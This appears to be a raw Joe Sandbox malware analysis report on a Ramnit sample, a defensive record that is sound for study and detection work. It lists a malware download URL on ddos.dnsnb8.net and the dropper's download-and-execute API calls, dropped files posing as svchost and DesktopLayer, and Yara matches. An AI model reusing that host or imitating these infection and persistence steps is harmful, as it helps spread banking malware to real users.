Source: Joe Sandbox View	IP Address: 44.221.84.105 44.221.84.105

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe

Code function: 2_2_00781099 wsprintfA,WinExec,lstrlen,wsprintfA,wsprintfA,URLDownloadToFileA,lstrlen,Sleep,

2_2_00781099

Source: global traffic	DNS traffic detected: DNS query: ddos.dnsnb8.net
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com

Source: SELFCERT.EXE.7.dr	String found in binary or memory: http://%s/r/rlidVBASelfCert?clid=%d1.3.6.1.5.5.7.3.32.5.29.372.5.29.11.2.840.113549.1.1.5SelfSignedC
Source: uvkTKBif.exe, 00000002.00000002.3310500480.0000000000783000.00000002.00000001.01000000.00000006.sdmp, uvkTKBif.exe, 00000002.00000003.2043995962.00000000007F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://%s:%d/%s/%sZwQuerySystemInformationntdll.dllNtSystemDebugControlSeDebugPrivilege%s%.8x.bat:DE
Source: integrator.exe.7.dr	String found in binary or memory: http://127.0.0.1:13556/InsiderSlabBehaviorReportedBuildInsiderSlabBehaviorInsiderSlabBehaviorReporte
Source: Uninstall.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: jp2launcher.exe.7.dr, GoogleUpdateOnDemand.exe.7.dr, GoogleUpdateBroker.exe.7.dr, javaws.exe0.7.dr, AdobeARMHelper.exe.7.dr, unpack200.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: Uninstall.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: jp2launcher.exe.7.dr, GoogleUpdateOnDemand.exe.7.dr, GoogleUpdateBroker.exe.7.dr, javaws.exe0.7.dr, AdobeARMHelper.exe.7.dr, unpack200.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: jp2launcher.exe.7.dr, GoogleUpdateOnDemand.exe.7.dr, GoogleUpdateBroker.exe.7.dr, javaws.exe0.7.dr, AdobeARMHelper.exe.7.dr, unpack200.exe.0.dr, Uninstall.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: jp2launcher.exe.7.dr, GoogleUpdateOnDemand.exe.7.dr, GoogleUpdateBroker.exe.7.dr, javaws.exe0.7.dr, AdobeARMHelper.exe.7.dr, unpack200.exe.0.dr, Uninstall.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: Aut2exe.exe.7.dr	String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: Aut2exe.exe.7.dr	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: Aut2exe.exe.7.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0G
Source: Aut2exe.exe.7.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: Aut2exe.exe.7.dr	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: jp2launcher.exe.7.dr, GoogleUpdateOnDemand.exe.7.dr, GoogleUpdateBroker.exe.7.dr, javaws.exe0.7.dr, AdobeARMHelper.exe.7.dr, unpack200.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: Uninstall.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: Uninstall.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: jp2launcher.exe.7.dr, GoogleUpdateOnDemand.exe.7.dr, GoogleUpdateBroker.exe.7.dr, javaws.exe0.7.dr, AdobeARMHelper.exe.7.dr, unpack200.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: jp2launcher.exe.7.dr, GoogleUpdateOnDemand.exe.7.dr, GoogleUpdateBroker.exe.7.dr, javaws.exe0.7.dr, AdobeARMHelper.exe.7.dr, unpack200.exe.0.dr, Uninstall.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: unpack200.exe.0.dr, Uninstall.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: Uninstall.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: Uninstall.exe.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: Uninstall.exe.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: jp2launcher.exe.7.dr, GoogleUpdateOnDemand.exe.7.dr, GoogleUpdateBroker.exe.7.dr, javaws.exe0.7.dr, unpack200.exe.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: AdobeARMHelper.exe.7.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0=
Source: Uninstall.exe.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: uvkTKBif.exe, 00000002.00000002.3310982399.0000000000D2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net/
Source: uvkTKBif.exe, 00000002.00000002.3310982399.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp, uvkTKBif.exe, 00000002.00000002.3310982399.0000000000D2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rar
Source: uvkTKBif.exe, 00000002.00000002.3311455745.000000000289A000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.rar%p
Source: uvkTKBif.exe, 00000002.00000002.3310982399.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ddos.dnsnb8.net:799/cj//k1.raros
Source: #U65b0#U7248#U7f51#U5173Srv.exe, 00000000.00000002.2836301122.0000000000190000.00000004.00000010.00020000.00000000.sdmp, Uninstall.exe.7.dr, Uninstall.exe.0.dr	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: jp2launcher.exe.7.dr, GoogleUpdateOnDemand.exe.7.dr, GoogleUpdateBroker.exe.7.dr, javaws.exe0.7.dr, AdobeARMHelper.exe.7.dr, unpack200.exe.0.dr, Uninstall.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: jp2launcher.exe.7.dr, GoogleUpdateOnDemand.exe.7.dr, GoogleUpdateBroker.exe.7.dr, javaws.exe0.7.dr, AdobeARMHelper.exe.7.dr, unpack200.exe.0.dr, Uninstall.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: jp2launcher.exe.7.dr, GoogleUpdateOnDemand.exe.7.dr, GoogleUpdateBroker.exe.7.dr, javaws.exe0.7.dr, AdobeARMHelper.exe.7.dr, unpack200.exe.0.dr, Uninstall.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: Uninstall.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: jp2launcher.exe.7.dr, GoogleUpdateOnDemand.exe.7.dr, GoogleUpdateBroker.exe.7.dr, javaws.exe0.7.dr, AdobeARMHelper.exe.7.dr, unpack200.exe.0.dr, Uninstall.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: Aut2exe.exe.7.dr	String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: Aut2exe.exe.7.dr	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: Aut2exe.exe.7.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: Aut2exe.exe.7.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: officeappguardwin32.exe.7.dr	String found in binary or memory: http://schemas.datacontract.org/2004/07/Microsoft.Office.Web.Roaming.Service
Source: officeappguardwin32.exe.7.dr	String found in binary or memory: http://schemas.datacontract.org/2004/07/Microsoft.Office.Web.Roaming.SoapObjects
Source: officeappguardwin32.exe.7.dr	String found in binary or memory: http://schemas.datacontract.org/2004/07/Microsoft.Office.Web.Roaming.SoapObjectsItemsSortKeyArrayOfR
Source: Aut2exe.exe.7.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: Aut2exe.exe.7.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: officeappguardwin32.exe.7.dr	String found in binary or memory: http://tempuri.org/
Source: SPREADSHEETCOMPARE.EXE.7.dr	String found in binary or memory: http://tempuri.org/DataSet1.xsd
Source: officeappguardwin32.exe.7.dr	String found in binary or memory: http://tempuri.org/IRoamingSettingsService/DisableUser
Source: officeappguardwin32.exe.7.dr	String found in binary or memory: http://tempuri.org/IRoamingSettingsService/DisableUserResponse
Source: officeappguardwin32.exe.7.dr	String found in binary or memory: http://tempuri.org/IRoamingSettingsService/EnableUser
Source: officeappguardwin32.exe.7.dr	String found in binary or memory: http://tempuri.org/IRoamingSettingsService/EnableUserResponse
Source: officeappguardwin32.exe.7.dr	String found in binary or memory: http://tempuri.org/IRoamingSettingsService/GetConfig
Source: officeappguardwin32.exe.7.dr	String found in binary or memory: http://tempuri.org/IRoamingSettingsService/GetConfigResponse
Source: officeappguardwin32.exe.7.dr	String found in binary or memory: http://tempuri.org/IRoamingSettingsService/ReadSettings
Source: officeappguardwin32.exe.7.dr	String found in binary or memory: http://tempuri.org/IRoamingSettingsService/ReadSettingsResponse
Source: officeappguardwin32.exe.7.dr	String found in binary or memory: http://tempuri.org/IRoamingSettingsService/WriteSettings
Source: officeappguardwin32.exe.7.dr	String found in binary or memory: http://tempuri.org/IRoamingSettingsService/WriteSettingsResponse
Source: officeappguardwin32.exe.7.dr	String found in binary or memory: http://tempuri.org/IRoamingSettingsService/WriteSettingshttp://tempuri.org/IRoamingSettingsService/R
Source: Amcache.hve.22.dr	String found in binary or memory: http://upx.sf.net
Source: Aut2exe.exe.7.dr	String found in binary or memory: http://www.autoitscript.com/autoit3/
Source: Aut2exe.exe.7.dr	String found in binary or memory: http://www.autoitscript.com/autoit3/8
Source: jp2launcher.exe.7.dr, GoogleUpdateOnDemand.exe.7.dr, GoogleUpdateBroker.exe.7.dr, javaws.exe0.7.dr, AdobeARMHelper.exe.7.dr, unpack200.exe.0.dr, Uninstall.exe.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: OcPubMgr.exe.7.dr	String found in binary or memory: http://xml.org/sax/properties/lexical-handlerhttp://xml.org/sax/features/namespace-prefixeshttp://xm
Source: pwahelper.exe.7.dr, identity_helper.exe.0.dr, pwahelper.exe0.7.dr	String found in binary or memory: https://github.com/pq-crystals/kyber/commit/28413dfbf523fdde181246451c2bd77199c0f7ff
Source: pwahelper.exe.7.dr, identity_helper.exe.0.dr, pwahelper.exe0.7.dr	String found in binary or memory: https://github.com/pq-crystals/kyber/commit/28413dfbf523fdde181246451c2bd77199c0f7ffDilithium2Dilith
Source: uvkTKBif.exe, 00000002.00000002.3310982399.0000000000D2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: Uninstall.exe.0.dr	String found in binary or memory: https://mozilla.org0/
Source: integrator.exe.7.dr	String found in binary or memory: https://nexus.officeapps.live.comhttps://nexusrules.officeapps.live.com
Source: integrator.exe.7.dr	String found in binary or memory: https://otelrules.azureedge.net/rules/.bundlesdxhelper.exeFailed
Source: Aut2exe.exe.7.dr	String found in binary or memory: https://www.autoitscript.com/autoit3/
Source: Uninstall.exe.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: Aut2exe.exe.7.dr	String found in binary or memory: https://www.globalsign.com/repository/0

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected Ramnit

Source: Yara match	File source: 4.2.DesktopLayer.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.#U65b0#U7248#U7f51#U5173Srv.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.#U65b0#U7248#U7f51#U5173Srv.exe.404031.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.DesktopLayer.exe.404031.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.DesktopLayer.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.#U65b0#U7248#U7f51#U5173Srv.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2047853106.0000000000400000.00000040.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2055030585.0000000000400000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: #U65b0#U7248#U7f51#U5173Srv.exe PID: 3712, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: DesktopLayer.exe PID: 3176, type: MEMORYSTR

Source: integrator.exe.7.dr

Binary or memory string: RegisterRawInputDevices

memstr_9e4a0018-5

E-Banking Fraud

Yara detected Ramnit

Source: Yara match	File source: 4.2.DesktopLayer.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.#U65b0#U7248#U7f51#U5173Srv.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.#U65b0#U7248#U7f51#U5173Srv.exe.404031.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.DesktopLayer.exe.404031.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.DesktopLayer.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.#U65b0#U7248#U7f51#U5173Srv.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.2047853106.0000000000400000.00000040.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2055030585.0000000000400000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: #U65b0#U7248#U7f51#U5173Srv.exe PID: 3712, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: DesktopLayer.exe PID: 3176, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: 1.0.#U65b0#U7248#U7f51#U5173Srv.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Ramnit malware Author: Florian Roth
Source: 4.0.DesktopLayer.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Ramnit malware Author: Florian Roth

PE file contains section with special chars

Source: MyProg.exe.2.dr

Static PE information: section name: Y|uR

PE file has a writeable .text section

Source: uvkTKBif.exe.1.dr

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\AppData\Local\Temp\3582-490\#U65b0#U7248#U7f51#U5173Srv.exe	Code function: 1_3_00541457 NtFreeVirtualMemory,	1_3_00541457
Source: C:\Users\user\AppData\Local\Temp\3582-490\#U65b0#U7248#U7f51#U5173Srv.exe	Code function: 1_3_00540814 NtProtectVirtualMemory,	1_3_00540814
Source: C:\Users\user\AppData\Local\Temp\3582-490\#U65b0#U7248#U7f51#U5173Srv.exe	Code function: 1_3_00540335 NtAllocateVirtualMemory,	1_3_00540335
Source: C:\Users\user\AppData\Local\Temp\3582-490\#U65b0#U7248#U7f51#U5173Srv.exe	Code function: 1_3_005404CC NtQuerySystemInformation,	1_3_005404CC
Source: C:\Users\user\AppData\Local\Temp\3582-490\#U65b0#U7248#U7f51#U5173Srv.exe	Code function: 1_3_00543519 NtQuerySystemInformation,	1_3_00543519
Source: C:\Users\user\AppData\Local\Temp\3582-490\#U65b0#U7248#U7f51#U5173Srv.exe	Code function: 1_3_005427A0 NtAllocateVirtualMemory,	1_3_005427A0
Source: C:\Users\user\AppData\Local\Temp\3582-490\#U65b0#U7248#U7f51#U5173Srv.exe	Code function: 1_2_00542740 NtFreeVirtualMemory,	1_2_00542740
Source: C:\Users\user\AppData\Local\Temp\3582-490\#U65b0#U7248#U7f51#U5173Srv.exe	Code function: 1_2_00543519 NtQuerySystemInformation,	1_2_00543519
Source: C:\Users\user\AppData\Local\Temp\3582-490\#U65b0#U7248#U7f51#U5173Srv.exe	Code function: 1_2_005427A0 NtAllocateVirtualMemory,	1_2_005427A0
Source: C:\Program Files (x86)\Microsoft\DesktopLayer.exe	Code function: 4_3_004B1457 NtFreeVirtualMemory,	4_3_004B1457
Source: C:\Program Files (x86)\Microsoft\DesktopLayer.exe	Code function: 4_3_004B0814 NtProtectVirtualMemory,	4_3_004B0814
Source: C:\Program Files (x86)\Microsoft\DesktopLayer.exe	Code function: 4_3_004B0335 NtAllocateVirtualMemory,	4_3_004B0335
Source: C:\Program Files (x86)\Microsoft\DesktopLayer.exe	Code function: 4_3_004B04CC NtQuerySystemInformation,	4_3_004B04CC
Source: C:\Program Files (x86)\Microsoft\DesktopLayer.exe	Code function: 4_3_004B3519 NtQuerySystemInformation,	4_3_004B3519
Source: C:\Program Files (x86)\Microsoft\DesktopLayer.exe	Code function: 4_3_004B27A0 NtAllocateVirtualMemory,	4_3_004B27A0
Source: C:\Program Files (x86)\Microsoft\DesktopLayer.exe	Code function: 4_2_004019D4 NtQueryInformationProcess,	4_2_004019D4
Source: C:\Program Files (x86)\Microsoft\DesktopLayer.exe	Code function: 4_2_004B2740 NtFreeVirtualMemory,	4_2_004B2740
Source: C:\Program Files (x86)\Microsoft\DesktopLayer.exe	Code function: 4_2_004B3519 NtQuerySystemInformation,	4_2_004B3519
Source: C:\Program Files (x86)\Microsoft\DesktopLayer.exe	Code function: 4_2_004B27A0 NtAllocateVirtualMemory,	4_2_004B27A0

Source: C:\Windows\svchost.com

File created: C:\Windows\directx.sys

Jump to behavior

Source: C:\Users\user\Desktop\#U65b0#U7248#U7f51#U5173Srv.exe	File created: C:\Windows\svchost.com			Jump to behavior
Source: C:\Windows\svchost.com	File created: C:\Windows\directx.sys			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe	Code function: 2_2_00786076		2_2_00786076
Source: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe	Code function: 2_2_00786D00		2_2_00786D00

Source: Joe Sandbox View

Dropped File: C:\Program Files (x86)\AutoIt3\Au3Info.exe 55075BDACF914AF03AD6CD417AFFC3A604A73AFD3D06A2256A1835CBF0F39B5E

Source: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5144 -s 1556

Source: MyProg.exe.2.dr

Static PE information: Resource name: RT_VERSION type: MIPSEB-LE ECOFF executable not stripped - version 0.79

Source: #U65b0#U7248#U7f51#U5173Srv.exe, 00000001.00000000.2041901330.000000000042D000.00000008.00000001.01000000.00000005.sdmp	Binary or memory string: OriginalFilenamenedwp.exe0 vs #U65b0#U7248#U7f51#U5173Srv.exe
Source: #U65b0#U7248#U7f51#U5173Srv.exe, 00000001.00000003.2046926889.0000000000717000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamenedwp.exe0 vs #U65b0#U7248#U7f51#U5173Srv.exe
Source: #U65b0#U7248#U7f51#U5173Srv.exe	Binary or memory string: OriginalFilenamenedwp.exe0 vs #U65b0#U7248#U7f51#U5173Srv.exe
Source: #U65b0#U7248#U7f51#U5173Srv.exe.0.dr	Binary or memory string: OriginalFilenamenedwp.exe0 vs #U65b0#U7248#U7f51#U5173Srv.exe

Source: #U65b0#U7248#U7f51#U5173Srv.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: 1.0.#U65b0#U7248#U7f51#U5173Srv.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Ramnit_May19_1 date = 2019-05-31, hash1 = d7ec3fcd80b3961e5bab97015c91c843803bb915c13a4a35dfb5e9bdf556c6d3, author = Florian Roth, description = Detects Ramnit malware, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 4.0.DesktopLayer.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MAL_Ramnit_May19_1 date = 2019-05-31, hash1 = d7ec3fcd80b3961e5bab97015c91c843803bb915c13a4a35dfb5e9bdf556c6d3, author = Florian Roth, description = Detects Ramnit malware, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/

Source: uvkTKBif.exe.1.dr

Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: uvkTKBif.exe.1.dr

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: uvkTKBif.exe.1.dr

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESERVED size: 0x100000 address: 0x0

Source: MpCmdRun.exe0.0.dr

Binary string: IdImageFileNameFirst Resource TypeTypeScan SourceFirst Resource PathEngineIdResource CountReasonProcessMessagePIDStartStopDataIsSignedFile\Device\\\?\\FI_UNKNOWN\drivers\error: invalid data: System Windows path changed during the trace from "%ls" to "%ls"

Source: classification engine

Classification label: mal100.spre.troj.evad.winEXE@53/262@9/4

Source: C:\Users\user\AppData\Local\Temp\uvkTKBif.exe

Code function: 2_2_0078119F GetCurrentProcess,OpenProcessToken,AdjustTokenPrivileges,CloseHandle,CloseHandle,

2_2_0078119F

Source: C:\Users\user\AppData\Local\Temp\3582-490\#U65b0#U7248#U7f51#U5173Srv.exe

Code function: 1_2_004027E0 GetCurrentThreadId,CreateToolhelp32Snapshot,Thread32First,OpenThread,SuspendThread,ResumeThread,CloseHandle,Thread32Next,CloseHandle,

1_2_004027E0

Source: C:\Users\user\AppData\Local\Temp\3582-490\#U65b0#U7248#U7f51#U5173Srv.exe

File created: C:\Program Files (x86)\Microsoft\pxA603.tmp

Jump to behavior

Source: C:\Program Files\Internet Explorer\iexplore.exe

File created: C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery

Jump to behavior

